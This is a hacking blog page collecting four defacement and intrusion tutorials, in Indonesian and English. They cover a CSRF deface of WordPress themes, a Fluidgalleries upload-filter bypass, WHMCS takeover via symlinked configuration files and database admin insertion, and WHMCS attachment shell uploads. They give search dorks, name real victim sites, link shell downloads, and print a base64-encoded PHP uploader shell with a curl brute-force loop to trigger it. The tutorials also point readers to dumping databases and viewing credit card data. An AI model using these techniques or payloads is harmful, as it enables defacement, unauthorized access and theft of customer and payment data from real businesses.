DEFACE - CSRF

comments

Assalamualaikum :)
Pada kesempatan kali ini aku mau kasih tutorial deface dengan tekhnik CSRF, oke tanpa basa basi kita mulai yah :D

Bahan-Bahan:

1. Download Script CSRF
===============================================================
DOWNLOAD DISINI  Password: Lihat
===============================================================
Note: Aktifkan Java Script untuk download!!

2. Download MadspotShell Disini Extract dulu dari file Rar!

3. Cari target dengan DORK :

inurl:/wp-content/themes/money
inurl:/wp-content/themes/clockstone
inurl:/wp-content/themes/ambleside
inurl:/wp-content/themes/pacifico

4. Untuk coba2 gunakan Live Target & Live Target 2

5. Great Thanks To om Edo aka Mr. Goodday aka 007 Yg udh ngajarin :D

6. Titip Nama .:: H4ckZ ::. | Cyber Indonesian Anonymous (C.I.A)

Persiapan sudah selesai, sekarang tinggal kita eksekusi :)

Note: "Tidak semua website bisa dengan teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Langkah- Langkah:

kurang jelas lihat gambar)

Kurang jelas lihat gambar)

http://www.robertcarpentry.com/wp-content/themes/pacifico/images/ ganti menjadihttp://www.robertcarpentry.com/wp-content/themes/pacifico/theme

http://www.robertcarpentry.com/wp-content/themes/pacifico/theme/functions/upload-bg.php"

lihat gambar)

#Saya menggunakan SHELL dari teman saya om X Inject :D (tampilan shell akan berbeda beda loh setiap jenisnya)

Sekian :)

Read more »

Exploit Fluidgalleries File Upload ( Tamper Data )

comments

Assalamualaikum sobat IDCA :D

Udah lama neh ngak kasih tutorial baru, sebenernya sih sekarang amsih UKK ane maklum ane masih bocah ^_^ tapi boat sobat IDCA tak apalah ngak usah belajar mending bikin artikel kwkwkwkw

oke langsung aja yah ngak usah kelamaan basa basinya takutnya jadi basi XD

Kali ini saya akan memberikan tutorial " Deface dengan Exploit "Fluidgalleries" yang saya ketahui dari temen saya si The Jackerz & Cimy .

[+] LANGKAH LANGKAH [+]

• Dork : inurl:/fluidgalleries/photos/
• Bahan : Shell yang sudah direname menjadi shell.php.jpg

Dork kembangin sendiri OK ;)

1. Copas dork diatas ke mesin pencarian, lalu pilih salah satu target

2. Setelah memilih salah satu website gunakan exploit

• localhost/[path]/fluidgalleries/php/photo-upload.php

~> Target saya : http://www.antarhanif.com/Stills/fluidgalleries/php/photo-upload.php

Setelah itu buka tools " Tamper Data " kalian, lalu klik start tamper 

3. Setelah itu, pilih file yang akan kalian upload ( shell.php.jpg )

4. Lalu klik OK, saat keluar pop up tools tamper data kalian klik " tamper "

5.  Setelah itu akan keluar Pop Up lagi dan perhatikan di sebelah kanan ada kotak kecil, carilah kata  shell.php.jpg lalu ganti dengan shell.php 

6. Jika sudah di renam lalu klik OK, tunggu sampai proses upload selesai jika sudah klik stop tamper

7. Untuk melihat shell kalian terupload atau belum pergi ke :

• localhost/[path]fluidgalleries/photos/

inget nanti bakalan ada embel embel di nama shell kalian, jadi setelah akses localhost/[path]/fluidgalleries/photos/ kalian ketik CTRL + F lalu tulis nama shll kalian ;)

Upload sukses ^_^

8. Tinggal tebas deh websitenya :D

sekian tutorial yang dapat saya berikan, jika ada yang kurang jelas silahkan tanyakan di kolom komentar ^_^

NB : Jika tidak bisa upload Php upload aja html :D

Thanks to : The Jackerz & Cimy

Content Created By Bimo Septiawan

Sumber: http://indocyberarmy.blogspot.com/2013/06/exploit-fluidgalleries-file-upload.html#ixzz2WDA2cPH2

Read more »

WHMCS Hacking Tutorial 2013

comments

Hi guys. Today i will be showing how to hack a WHMCS via symlinking so lets get started.

Big thanks for HeXagone for helping me. :)

Things you will need:

1) Shelled website
2) Tool i will post at the end of the tutorial
3) Putty
4) Symlink script
5) MySQL manager

What is WHMCS?

Code:

“WHMCS is an all-in-one client management, billing & support solution for online businesses. Handling everything from signup to termination, WHMCS is a powerful business automation tool that puts you firmly in control”

DEMO: http://demo.whmcs.com/
ADMIN AREA DEMO: http://demo.whmcs.com/admin/login.php

Chapter I - How do i find if my server has WHMCS?

That is easy
Check your kernel. Usually it will be like:

Code:

Linux ns1.hosting.com x.x.xx-xxx.xx.x.xxx #1 SMP xxx xxx x xx:xx:xx EST 2012 x86_64

If your kernel has something like "ns1.hosting.com" in your kernel that means WHMCS is installed on that site.

So go to the hosting.com and you will probably find it.
Or you can google dork it:

Code:

site:hosting.com inurl:/admin/login.php "WHMCS"

Chapter II - Exploiting

First off we need to find our hostings path.
So do 

Code:

cat /etc/passwd

or just view the /etc/passwd file to find all the users on the hosting.
Once you did that save it to the .txt file somewhere.

In my example i got lucky and found the path easy. (There was WordPress installed so i viewed wp-content/plugins/akismet/legacy.php which gave me full path)


But usually you can find it by the URL.

Now i know my site's path:

Code:

/home/user/public_html/

And WHMCS path is /hosting/ so my goal file is configuration.php located in

Code:

/home/user/public_html/hosting/configuration.php

Okay, now make a new folder in your shell.


We will now try to access the file mentioned above.

Next thing i want to is to enter the folder and upload the script (Located at the end of this tutorial)

We will now try to access the file mentioned above.

Next thing i want to is to enter the folder and upload the script (Located at the end of this tutorial)



In that box enter the path and the file you want:

Code:

/home/user/public_html/hosting/configuration.php

Press go and you now get something like this:



Press on symlink and it will open a new page.
Notice how the site is blank. That means it worked. 
Right click -> View source and our targets database will be there.

Chapter III - Getting access to the WHMCS

Now that you managed to get configuration info from the site you now need to connect to the MySQL base and create a new administrator.

Open our mysql.php script (Provided on the end of the tutorial) and enter credentials (Username and password)





When you are logged in on the main database click "Tables".
NOTE: You can press "Dump" to save all info in the database!

You got a list now. Good.
Find tbladmins and click "Data"



From there you can edit/add admin users.
As you can see i added a new user so i can access it later.



Now i login with the new user i created





Now i have tool for this cases 

WARNING!:
I didnt check for backdoors. So check it for yourself since i'm too lazy.



There you can manage cPanels, dump them, view CC info and rest of the BH shit. :)

OPTIONAL:

In the PHP tool click on "FTP and SMTP password" (Or Host Roots).
Try the password for the root in Putty. 

(It worked for me but they changed the passwords ;( )

Tools used:

MySQL manager
WHMCS tool
Symlink tool

Link:

Code: http://adf.ly/OvmAz

Read more »

WHMCS Shell Uploading Tutorial

comments

Credits: sec4ever, MadLeets and all Pakistani Haxors




 This Tutorial Is About Uploading Shell On WHMCS Via Attachments 

At First , Let's Talk About Mime Types

These Are Extensions 

Code:

gif,png,rar,zip,php,asp,aspx

Apache Uses Extension To Run File As It Extension

For Example If You Upload File As This : b0x.gif

Apache Will run it As Picture/Image

And If You Do it As This : b0x.php

The File will Be Run as PHP File 

Okay ... In Apache There Are Many Extensions Are Not Defined-ed Like rar

So Let's Start in WHMCS go to submit new ticket 

Code:

http://site.tld/whmcs/submitticket.php

You'll See This


So Here The Attachments We've Prospect'z 

I : The Extension PHP Is allowed To Be Uploaded 

But When We Try 2 Upload PHP File We'll Have This result 



To Bypass This Problem ,, Just You've To Change Extension From Small php To Capital PHP Like This

Code:

b0x.PHP

The Changing In Extension Will Be Via Tamepr Data

 

Then Submit it



Our Ticket Is ready Now .. So We Uploaded PHP 

This Was Our 1st Prospect

II : PHP Extension Is not Allowed To Be uploaded on WHMCS 

So We'll Use Non-Defined Extension in Apache

Like " rar " So We'll Use Tamper Data Too 

 

We'll Upload As This "b0x.PHP.rar"

Don't Forget Capital Letters

Then We'll Have This



File Uploaded Successfully 

But In WHMCS ,, When You Use Attachment or upload One

The File Will Automatically Renamed To Be Like This

Code:

number_filename.extension

For Example Our File b0x.PHP Will Be Like This

Code:

RandomNumber_b0x.PHP

We'll Not be Able To Know The Numbers Because it Uses Random Number So We've To Try Numbers

Before That .. Let's Make Small Summery 

This Code Must be As Attach File

PHP Code:

<?php
$shellcode = "PD9waHANCmVjaG8gJzxiPjxicj48YnI+Jy5waHBfdW5hbWUoKS4nPGJyPjwvYj4nOw0KZWNobyAnPGZv ​ cm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFt ​ ZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsNCmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1l ​ PSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwi ​ IHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOw0KaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkg ​ ew0KCWlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWydu ​ YW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZCBTVUtTRVMgISEhPC9iPjxicj48YnI+JzsgfQ0KCWVsc2Ug ​eyBlY2hvICc8Yj5VcGxvYWQgR0FHQUwgISEhPC9iPjxicj48YnI+JzsgfQ0KfQ0KPz4="; $b0x = fopen("sec4ever.php","w"); fwrite($b0x,base64_decode($shellcode)); ?>

This is uploader Script Will be Opened In The Same Folde - attachments -
Now Upload it as Before Via .PHP or non-defined

After That ,, Use This Code To Generate / Browse Site And get Uploader in sec4ever.php

PHP Code:

<?
error_reporting(0);  $url = "http://domain.tld/whmcs/";  $attachfolder = "attachments";  $attach= "b0x.PHP";
for($b0x=100000; $b0x<1000000;$b0x++){  $urls = "$url/$attachfolder/$b0x"; $urls.="_$attach";  $ch = @curl_init();
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($ch, CURLOPT_URL, $urls );  $result = @curl_exec($ch);
@curl_close($ch);
}  ?>

 Edit The Variables To Get The Correct Result - 3xPecteD

Then When The Script Ends Browsing URL'z Via Auto-Generate By For Function

The Script Will Browse Your PHP Code But You'll No Be Able To Know What is the Number !

But The Script Will Generate Shell/Uploader in Sec4ever.php

Read more »